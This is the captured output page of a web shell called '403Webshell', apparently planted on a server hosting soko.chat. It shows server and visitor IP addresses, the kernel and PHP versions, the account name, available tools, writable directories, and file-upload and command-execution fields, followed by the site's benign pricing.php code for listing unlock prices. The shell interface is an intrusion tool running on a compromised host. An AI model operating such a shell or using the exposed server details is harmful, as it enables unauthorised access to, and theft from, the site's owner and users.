403Webshell
Server IP : 69.72.244.102  /  Your IP : 216.73.216.164
Web Server : LiteSpeed
System : Linux s3434.fra1.stableserver.net 4.18.0-513.24.1.lve.2.el8.x86_64 #1 SMP Fri May 24 12:42:50 UTC 2024 x86_64
User : konzalta ( 1271)
PHP Version : 7.4.33
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /home/konzalta/soko.chat/app/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /home/konzalta/soko.chat/app/pricing.php
<?php
function recommend_unlock_price(array $deal): array {
    $category = strtolower($deal['category_name'] ?? '');
    $county = strtolower($deal['county_name'] ?? '');
    $verification = $deal['verification_status'] ?? 'unverified';
    $priceText = $deal['price'] ?? '';
    $score = 10;
    $reasons = [];

    $categoryPrices = [
        'jobs' => 10,
        'community' => 10,
        'services' => 10,
        'for sale' => 10,
        'rentals' => 20,
        'housing' => 20,
        'business stock' => 20,
        'farm produce' => 20,
        'vehicles' => 50,
        'motorbikes' => 50,
        'land' => 50,
        'property' => 50,
        'tenders' => 100,
        'supply' => 100,
    ];

    foreach ($categoryPrices as $key => $base) {
        if (str_contains($category, $key)) {
            $score = $base;
            $reasons[] = "Category base: KES {$base}";
            break;
        }
    }

    $highDemand = ['nairobi','mombasa','kiambu','nakuru','kisumu','kajiado','machakos','uasin gishu','kilifi'];
    if (in_array($county, $highDemand, true)) {
        $score += 10;
        $reasons[] = "High-demand county: +KES 10";
    }

    if ($verification === 'basic_checked') {
        $score += 10;
        $reasons[] = "Basic checked: +KES 10";
    } elseif ($verification === 'verified') {
        $score += 30;
        $reasons[] = "Verified: +KES 30";
    } elseif ($verification === 'suspicious') {
        return ['amount' => 0, 'reason' => 'Suspicious deals should not be sold.'];
    }

    $value = extract_price_number_for_pricing($priceText);
    if ($value >= 1000000) {
        $score += 50; $reasons[] = "High-value deal: +KES 50";
    } elseif ($value >= 100000) {
        $score += 20; $reasons[] = "Medium-high value deal: +KES 20";
    } elseif ($value >= 10000) {
        $score += 10; $reasons[] = "Moderate value deal: +KES 10";
    }

    $amount = round_to_price_point($score);
    return ['amount' => $amount, 'reason' => implode('; ', $reasons) ?: 'Default basic price.'];
}

function extract_price_number_for_pricing(string $priceText): int {
    $clean = strtolower(str_replace([',','kes','ksh','/=','sh'], '', $priceText));
    if (preg_match('/(\d+(\.\d+)?)\s*m/', $clean, $m)) return (int)((float)$m[1] * 1000000);
    if (preg_match('/(\d+(\.\d+)?)\s*k/', $clean, $m)) return (int)((float)$m[1] * 1000);
    if (preg_match('/\d+/', $clean, $m)) return (int)$m[0];
    return 0;
}

function round_to_price_point(int $amount): int {
    $amount = max(10, min($amount, 100));
    $points = [10,20,30,50,75,100];
    $closest = 10;
    foreach ($points as $p) if (abs($amount - $p) < abs($amount - $closest)) $closest = $p;
    return $closest;
}

Youez - 2016 - github.com/yon3zu
LinuXploit